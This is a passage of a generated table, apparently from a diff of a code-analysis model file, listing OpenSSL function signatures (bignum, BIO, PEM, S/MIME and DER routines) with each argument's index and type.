BIGNUM *,..(*)(..),void *) | | BN_generate_prime | 5 | ..(*)(..) | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *) | | BN_generate_prime | 6 | void * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | BN_generate_prime_ex | 0 | BIGNUM * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | BN_generate_prime_ex | 1 | int | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | BN_generate_prime_ex | 2 | int | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | BN_generate_prime_ex | 3 | const BIGNUM * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | BN_generate_prime_ex | 4 | const BIGNUM * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | BN_generate_prime_ex | 5 | BN_GENCB * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *) | | BN_generate_prime_ex2 | 0 | BIGNUM * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *) | | BN_generate_prime_ex2 | 1 | int | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *) | | BN_generate_prime_ex2 | 2 | int | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *) | | BN_generate_prime_ex2 | 3 | const BIGNUM * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *) | | BN_generate_prime_ex2 | 4 | const BIGNUM * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *) | | BN_generate_prime_ex2 | 5 | BN_GENCB * | +| (BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *) | | BN_generate_prime_ex2 | 6 | BN_CTX * | +| (BIGNUM *,int,int,int) | | BN_bntest_rand | 0 | BIGNUM * | +| (BIGNUM *,int,int,int) | | BN_bntest_rand | 1 | int | +| (BIGNUM *,int,int,int) | | BN_bntest_rand | 2 | int | +| (BIGNUM *,int,int,int) | | BN_bntest_rand | 3 | int | +| (BIGNUM *,int,int,int) | | BN_priv_rand | 0 | BIGNUM * | +| (BIGNUM *,int,int,int) | | BN_priv_rand | 1 | int | +| (BIGNUM *,int,int,int) | | BN_priv_rand | 2 | int | +| (BIGNUM *,int,int,int) | | BN_priv_rand | 3 | int | +| (BIGNUM *,int,int,int) | | BN_pseudo_rand | 0 | BIGNUM * | +| (BIGNUM *,int,int,int) | | BN_pseudo_rand | 1 | int | +| (BIGNUM *,int,int,int) | | BN_pseudo_rand | 2 | int | +| (BIGNUM *,int,int,int) | | BN_pseudo_rand | 3 | int | +| (BIGNUM *,int,int,int) | | BN_rand | 0 | BIGNUM * | +| (BIGNUM *,int,int,int) | | BN_rand | 1 | int | +| (BIGNUM *,int,int,int) | | BN_rand | 2 | int | +| (BIGNUM *,int,int,int) | | BN_rand | 3 | int | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_priv_rand_ex | 0 | BIGNUM * | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_priv_rand_ex | 1 | int | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_priv_rand_ex | 2 | int | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_priv_rand_ex | 3 | int | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_priv_rand_ex | 4 | unsigned int | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_priv_rand_ex | 5 | BN_CTX * | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_rand_ex | 0 | BIGNUM * | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_rand_ex | 1 | int | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_rand_ex | 2 | int | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_rand_ex | 3 | int | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_rand_ex | 4 | unsigned int | +| (BIGNUM *,int,int,int,unsigned int,BN_CTX *) | | BN_rand_ex | 5 | BN_CTX * | +| (BIGNUM *,unsigned long) | | BN_add_word | 0 | BIGNUM * | +| (BIGNUM *,unsigned long) | | BN_add_word | 1 | unsigned long | +| (BIGNUM *,unsigned long) | | BN_div_word | 0 | BIGNUM * | +| (BIGNUM *,unsigned long) | | BN_div_word | 1 | unsigned long | +| (BIGNUM *,unsigned long) | | BN_set_word | 0 | BIGNUM * | +| (BIGNUM *,unsigned long) | | BN_set_word | 1 | unsigned long | +| (BIGNUM *,unsigned long) | | BN_sub_word | 0 | BIGNUM * | +| (BIGNUM *,unsigned long) | | BN_sub_word | 1 | unsigned long | +| (BIGNUM *,unsigned long,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_word | 0 | BIGNUM * | +| (BIGNUM *,unsigned long,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_word | 1 | unsigned long | +| (BIGNUM *,unsigned long,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_word | 2 | const BIGNUM * | +| (BIGNUM *,unsigned long,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_word | 3 | const BIGNUM * | +| (BIGNUM *,unsigned long,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_word | 4 | BN_CTX * | +| (BIGNUM *,unsigned long,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_word | 5 | BN_MONT_CTX * | +| (BIO *) | | BIO_dup_chain | 0 | BIO * | +| (BIO *) | | BIO_get_data | 0 | BIO * | +| (BIO *) | | BIO_get_init | 0 | BIO * | +| (BIO *) | | BIO_get_retry_reason | 0 | BIO * | +| (BIO *) | | BIO_get_shutdown | 0 | BIO * | +| (BIO *) | | BIO_next | 0 | BIO * | +| (BIO *) | | BIO_number_read | 0 | BIO * | +| (BIO *) | | BIO_number_written | 0 | BIO * | +| (BIO *) | | BIO_pop | 0 | BIO * | +| (BIO *) | | BIO_ssl_shutdown | 0 | BIO * | +| (BIO *) | | ossl_core_bio_new_from_bio | 0 | BIO * | +| (BIO *,ASN1_VALUE *,BIO *,int,const ASN1_ITEM *) | | i2d_ASN1_bio_stream | 0 | BIO * | +| (BIO *,ASN1_VALUE *,BIO *,int,const ASN1_ITEM *) | | i2d_ASN1_bio_stream | 1 | ASN1_VALUE * | +| (BIO *,ASN1_VALUE *,BIO *,int,const ASN1_ITEM *) | | i2d_ASN1_bio_stream | 2 | BIO * | +| (BIO *,ASN1_VALUE *,BIO *,int,const ASN1_ITEM *) | | i2d_ASN1_bio_stream | 3 | int | +| (BIO *,ASN1_VALUE *,BIO *,int,const ASN1_ITEM *) | | i2d_ASN1_bio_stream | 4 | const ASN1_ITEM * | +| (BIO *,ASN1_VALUE *,BIO *,int,const char *,const ASN1_ITEM *) | | PEM_write_bio_ASN1_stream | 0 | BIO * | +| (BIO *,ASN1_VALUE *,BIO *,int,const char *,const ASN1_ITEM *) | | PEM_write_bio_ASN1_stream | 1 | ASN1_VALUE * | +| (BIO *,ASN1_VALUE *,BIO *,int,const char *,const ASN1_ITEM *) | | PEM_write_bio_ASN1_stream | 2 | BIO * | +| (BIO *,ASN1_VALUE *,BIO *,int,const char *,const ASN1_ITEM *) | | PEM_write_bio_ASN1_stream | 3 | int | +| (BIO *,ASN1_VALUE *,BIO *,int,const char *,const ASN1_ITEM *) | | PEM_write_bio_ASN1_stream | 4 | const char * | +| (BIO *,ASN1_VALUE *,BIO *,int,const char *,const ASN1_ITEM *) | | PEM_write_bio_ASN1_stream | 5 | const ASN1_ITEM * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *) | | SMIME_write_ASN1 | 0 | BIO * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *) | | SMIME_write_ASN1 | 1 | ASN1_VALUE * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *) | | SMIME_write_ASN1 | 2 | BIO * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *) | | SMIME_write_ASN1 | 3 | int | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *) | | SMIME_write_ASN1 | 4 | int | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *) | | SMIME_write_ASN1 | 5 | int | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *) | | SMIME_write_ASN1 | 6 | stack_st_X509_ALGOR * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *) | | SMIME_write_ASN1 | 7 | const ASN1_ITEM * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | SMIME_write_ASN1_ex | 0 | BIO * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | SMIME_write_ASN1_ex | 1 | ASN1_VALUE * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | SMIME_write_ASN1_ex | 2 | BIO * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | SMIME_write_ASN1_ex | 3 | int | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | SMIME_write_ASN1_ex | 4 | int | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | SMIME_write_ASN1_ex | 5 | int | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | SMIME_write_ASN1_ex | 6 | stack_st_X509_ALGOR * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | SMIME_write_ASN1_ex | 7 | const ASN1_ITEM * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | SMIME_write_ASN1_ex | 8 | OSSL_LIB_CTX * | +| (BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | SMIME_write_ASN1_ex | 9 | const char * | +| (BIO *,ASN1_VALUE *,const ASN1_ITEM *) | | BIO_new_NDEF | 0 | BIO * | +| (BIO *,ASN1_VALUE *,const ASN1_ITEM *) | | BIO_new_NDEF | 1 | ASN1_VALUE * | +| (BIO *,ASN1_VALUE *,const ASN1_ITEM *) | | BIO_new_NDEF | 2 | const ASN1_ITEM * | +| (BIO *,BIO *) | | BIO_push | 0 | BIO * | +| (BIO *,BIO *) | | BIO_push | 1 | BIO * | +| (BIO *,BIO *) | | BIO_set_next | 0 | BIO * | +| (BIO *,BIO *) | | BIO_set_next | 1 | BIO * | +| (BIO *,BIO *) | | BIO_ssl_copy_session_id | 0 | BIO * | +| (BIO *,BIO *) | | BIO_ssl_copy_session_id | 1 | BIO * | +| (BIO *,BIO **) | | SMIME_read_CMS | 0 | BIO * | +| (BIO *,BIO **) | | SMIME_read_CMS | 1 | BIO ** | +| (BIO *,BIO **) | | SMIME_read_PKCS7 | 0 | BIO * | +| (BIO *,BIO **) | | SMIME_read_PKCS7 | 1 | BIO ** | +| (BIO *,BIO **,PKCS7 **) | | SMIME_read_PKCS7_ex | 0 | BIO * | +| (BIO *,BIO **,PKCS7 **) | | SMIME_read_PKCS7_ex | 1 | BIO ** | +| (BIO *,BIO **,PKCS7 **) | | SMIME_read_PKCS7_ex | 2 | PKCS7 ** | +| (BIO *,BIO **,const ASN1_ITEM *) | | SMIME_read_ASN1 | 0 | BIO * | +| (BIO *,BIO **,const ASN1_ITEM *) | | SMIME_read_ASN1 | 1 | BIO ** | +| (BIO *,BIO **,const ASN1_ITEM *) | | SMIME_read_ASN1 | 2 | const ASN1_ITEM * | +| (BIO *,BIO *,int) | | OSSL_HTTP_REQ_CTX_new | 0 | BIO * | +| (BIO *,BIO *,int) | | OSSL_HTTP_REQ_CTX_new | 1 | BIO * | +| (BIO *,BIO *,int) | | OSSL_HTTP_REQ_CTX_new | 2 | int | +| (BIO *,BIO *,int) | | SMIME_crlf_copy | 0 | BIO * | +| (BIO *,BIO *,int) | | SMIME_crlf_copy | 1 | BIO * | +| (BIO *,BIO *,int) | | SMIME_crlf_copy | 2 | int | +| (BIO *,BIO_callback_fn) | | BIO_set_callback | 0 | BIO * | +| (BIO *,BIO_callback_fn) | | BIO_set_callback | 1 | BIO_callback_fn | +| (BIO *,BIO_callback_fn_ex) | | BIO_set_callback_ex | 0 | BIO * | +| (BIO *,BIO_callback_fn_ex) | | BIO_set_callback_ex | 1 | BIO_callback_fn_ex | +| (BIO *,CMS_ContentInfo *) | | BIO_new_CMS | 0 | BIO * | +| (BIO *,CMS_ContentInfo *) | | BIO_new_CMS | 1 | CMS_ContentInfo * | +| (BIO *,CMS_ContentInfo *) | | i2d_CMS_bio | 0 | BIO * | +| (BIO *,CMS_ContentInfo *) | | i2d_CMS_bio | 1 | CMS_ContentInfo * | +| (BIO *,CMS_ContentInfo **) | | d2i_CMS_bio | 0 | BIO * | +| (BIO *,CMS_ContentInfo **) | | d2i_CMS_bio | 1 | CMS_ContentInfo ** | +| (BIO *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_bio_CMS | 0 | BIO * | +| (BIO *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_bio_CMS | 1 | CMS_ContentInfo ** | +| (BIO *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_bio_CMS | 2 | pem_password_cb * | +| (BIO *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_bio_CMS | 3 | void * | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | PEM_write_bio_CMS_stream | 0 | BIO * | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | PEM_write_bio_CMS_stream | 1 | CMS_ContentInfo * | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | PEM_write_bio_CMS_stream | 2 | BIO * | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | PEM_write_bio_CMS_stream | 3 | int | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | SMIME_write_CMS | 0 | BIO * | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | SMIME_write_CMS | 1 | CMS_ContentInfo * | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | SMIME_write_CMS | 2 | BIO * | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | SMIME_write_CMS | 3 | int | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | i2d_CMS_bio_stream | 0 | BIO * | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | i2d_CMS_bio_stream | 1 | CMS_ContentInfo * | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | i2d_CMS_bio_stream | 2 | BIO * | +| (BIO *,CMS_ContentInfo *,BIO *,int) | | i2d_CMS_bio_stream | 3 | int | +| (BIO *,DH **,pem_password_cb *,void *) | | PEM_read_bio_DHparams | 0 | BIO * | +| (BIO *,DH **,pem_password_cb *,void *) | | PEM_read_bio_DHparams | 1 | DH ** | +| (BIO *,DH **,pem_password_cb *,void *) | | PEM_read_bio_DHparams | 2 | pem_password_cb * | +| (BIO *,DH **,pem_password_cb *,void *) | | PEM_read_bio_DHparams | 3 | void * | +| (BIO *,DSA **) | | d2i_DSAPrivateKey_bio | 0 | BIO * | +| (BIO *,DSA **) | | d2i_DSAPrivateKey_bio | 1 | DSA ** | +| (BIO *,DSA **) | | d2i_DSA_PUBKEY_bio | 0 | BIO * | +| (BIO *,DSA **) | | d2i_DSA_PUBKEY_bio | 1 | DSA ** | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAPrivateKey | 0 | BIO * | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAPrivateKey | 1 | DSA ** | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAPrivateKey | 2 | pem_password_cb * | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAPrivateKey | 3 | void * | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSA_PUBKEY | 0 | BIO * | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSA_PUBKEY | 1 | DSA ** | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSA_PUBKEY | 2 | pem_password_cb * | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSA_PUBKEY | 3 | void * | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAparams | 0 | BIO * | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAparams | 1 | DSA ** | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAparams | 2 | pem_password_cb * | +| (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAparams | 3 | void * | +| (BIO *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_bio_ECPKParameters | 0 | BIO * | +| (BIO *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_bio_ECPKParameters | 1 | EC_GROUP ** | +| (BIO *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_bio_ECPKParameters | 2 | pem_password_cb * | +| (BIO *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_bio_ECPKParameters | 3 | void * | +| (BIO *,EC_KEY **) | | d2i_ECPrivateKey_bio | 0 | BIO * | +| (BIO *,EC_KEY **) | | d2i_ECPrivateKey_bio | 1 | EC_KEY ** | +| (BIO *,EC_KEY **) | | d2i_EC_PUBKEY_bio | 0 | BIO * | +| (BIO *,EC_KEY **) | | d2i_EC_PUBKEY_bio | 1 | EC_KEY ** | +| (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_ECPrivateKey | 0 | BIO * | +| (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_ECPrivateKey | 1 | EC_KEY ** | +| (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_ECPrivateKey | 2 | pem_password_cb * | +| (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_ECPrivateKey | 3 | void * | +| (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_EC_PUBKEY | 0 | BIO * | +| (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_EC_PUBKEY | 1 | EC_KEY ** | +| (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_EC_PUBKEY | 2 | pem_password_cb * | +| (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_EC_PUBKEY | 3 | void * | +| (BIO *,EVP_PKEY **) | | PEM_read_bio_Parameters | 0 | BIO * | +| (BIO *,EVP_PKEY **) | | PEM_read_bio_Parameters | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **) | | d2i_PUBKEY_bio | 0 | BIO * | +| (BIO *,EVP_PKEY **) | | d2i_PUBKEY_bio | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **) | | d2i_PrivateKey_bio | 0 | BIO * | +| (BIO *,EVP_PKEY **) | | d2i_PrivateKey_bio | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_Parameters_ex | 0 | BIO * | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_Parameters_ex | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_Parameters_ex | 2 | OSSL_LIB_CTX * | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_Parameters_ex | 3 | const char * | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex_bio | 0 | BIO * | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex_bio | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex_bio | 2 | OSSL_LIB_CTX * | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex_bio | 3 | const char * | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex_bio | 0 | BIO * | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex_bio | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex_bio | 2 | OSSL_LIB_CTX * | +| (BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex_bio | 3 | const char * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PUBKEY | 0 | BIO * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PUBKEY | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PUBKEY | 2 | pem_password_cb * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PUBKEY | 3 | void * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PrivateKey | 0 | BIO * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PrivateKey | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PrivateKey | 2 | pem_password_cb * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PrivateKey | 3 | void * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_bio | 0 | BIO * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_bio | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_bio | 2 | pem_password_cb * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_bio | 3 | void * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PUBKEY_ex | 0 | BIO * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PUBKEY_ex | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PUBKEY_ex | 2 | pem_password_cb * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PUBKEY_ex | 3 | void * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PUBKEY_ex | 4 | OSSL_LIB_CTX * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PUBKEY_ex | 5 | const char * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PrivateKey_ex | 0 | BIO * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PrivateKey_ex | 1 | EVP_PKEY ** | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PrivateKey_ex | 2 | pem_password_cb * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PrivateKey_ex | 3 | void * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PrivateKey_ex | 4 | OSSL_LIB_CTX * | +| (BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_bio_PrivateKey_ex | 5 | const char * | +| (BIO *,GENERAL_NAMES *,int) | | OSSL_GENERAL_NAMES_print | 0 | BIO * | +| (BIO *,GENERAL_NAMES *,int) | | OSSL_GENERAL_NAMES_print | 1 | GENERAL_NAMES * | +| (BIO *,GENERAL_NAMES *,int) | | OSSL_GENERAL_NAMES_print | 2 | int | +| (BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_bio_NETSCAPE_CERT_SEQUENCE | 0 | BIO * | +| (BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_bio_NETSCAPE_CERT_SEQUENCE | 1 | NETSCAPE_CERT_SEQUENCE ** | +| (BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_bio_NETSCAPE_CERT_SEQUENCE | 2 | pem_password_cb * | +| (BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_bio_NETSCAPE_CERT_SEQUENCE | 3 | void * | +| (BIO *,NETSCAPE_SPKI *) | | NETSCAPE_SPKI_print | 0 | BIO * | +| (BIO *,NETSCAPE_SPKI *) | | NETSCAPE_SPKI_print | 1 | NETSCAPE_SPKI * | +| (BIO *,OCSP_REQUEST *,unsigned long) | | OCSP_REQUEST_print | 0 | BIO * | +| (BIO *,OCSP_REQUEST *,unsigned long) | | OCSP_REQUEST_print | 1 | OCSP_REQUEST * | +| (BIO *,OCSP_REQUEST *,unsigned long) | | OCSP_REQUEST_print | 2 | unsigned long | +| (BIO *,OCSP_RESPONSE *,unsigned long) | | OCSP_RESPONSE_print | 0 | BIO * | +| (BIO *,OCSP_RESPONSE *,unsigned long) | | OCSP_RESPONSE_print | 1 | OCSP_RESPONSE * | +| (BIO *,OCSP_RESPONSE *,unsigned long) | | OCSP_RESPONSE_print | 2 | unsigned long | +| (BIO *,OSSL_CMP_MSG **) | | d2i_OSSL_CMP_MSG_bio | 0 | BIO * | +| (BIO *,OSSL_CMP_MSG **) | | d2i_OSSL_CMP_MSG_bio | 1 | OSSL_CMP_MSG ** | +| (BIO *,PKCS7 *) | | BIO_new_PKCS7 | 0 | BIO * | +| (BIO *,PKCS7 *) | | BIO_new_PKCS7 | 1 | PKCS7 * | +| (BIO *,PKCS7 **) | | d2i_PKCS7_bio | 0 | BIO * | +| (BIO *,PKCS7 **) | | d2i_PKCS7_bio | 1 | PKCS7 ** | +| (BIO *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_bio_PKCS7 | 0 | BIO * | +| (BIO *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_bio_PKCS7 | 1 | PKCS7 ** | +| (BIO *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_bio_PKCS7 | 2 | pem_password_cb * | +| (BIO *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_bio_PKCS7 | 3 | void * | +| (BIO *,PKCS7 *,BIO *,int) | | PEM_write_bio_PKCS7_stream | 0 | BIO * | +| (BIO *,PKCS7 *,BIO *,int) | | PEM_write_bio_PKCS7_stream | 1 | PKCS7 * | +| (BIO *,PKCS7 *,BIO *,int) | | PEM_write_bio_PKCS7_stream | 2 | BIO * | +| (BIO *,PKCS7 *,BIO *,int) | | PEM_write_bio_PKCS7_stream | 3 | int | +| (BIO *,PKCS7 *,BIO *,int) | | SMIME_write_PKCS7 | 0 | BIO * | +| (BIO *,PKCS7 *,BIO *,int) | | SMIME_write_PKCS7 | 1 | PKCS7 * | +| (BIO *,PKCS7 *,BIO *,int) | | SMIME_write_PKCS7 | 2 | BIO * | +| (BIO *,PKCS7 *,BIO *,int) | | SMIME_write_PKCS7 | 3 | int | +| (BIO *,PKCS7 *,BIO *,int) | | i2d_PKCS7_bio_stream | 0 | BIO * | +| (BIO *,PKCS7 *,BIO *,int) | | i2d_PKCS7_bio_stream | 1 | PKCS7 * | +| (BIO *,PKCS7 *,BIO *,int) | | i2d_PKCS7_bio_stream | 2 | BIO * | +| (BIO *,PKCS7 *,BIO *,int) | | i2d_PKCS7_bio_stream | 3 | int | +| (BIO *,PKCS7 *,PKCS7_SIGNER_INFO *,X509 *) | | PKCS7_signatureVerify | 0 | BIO * | +| (BIO *,PKCS7 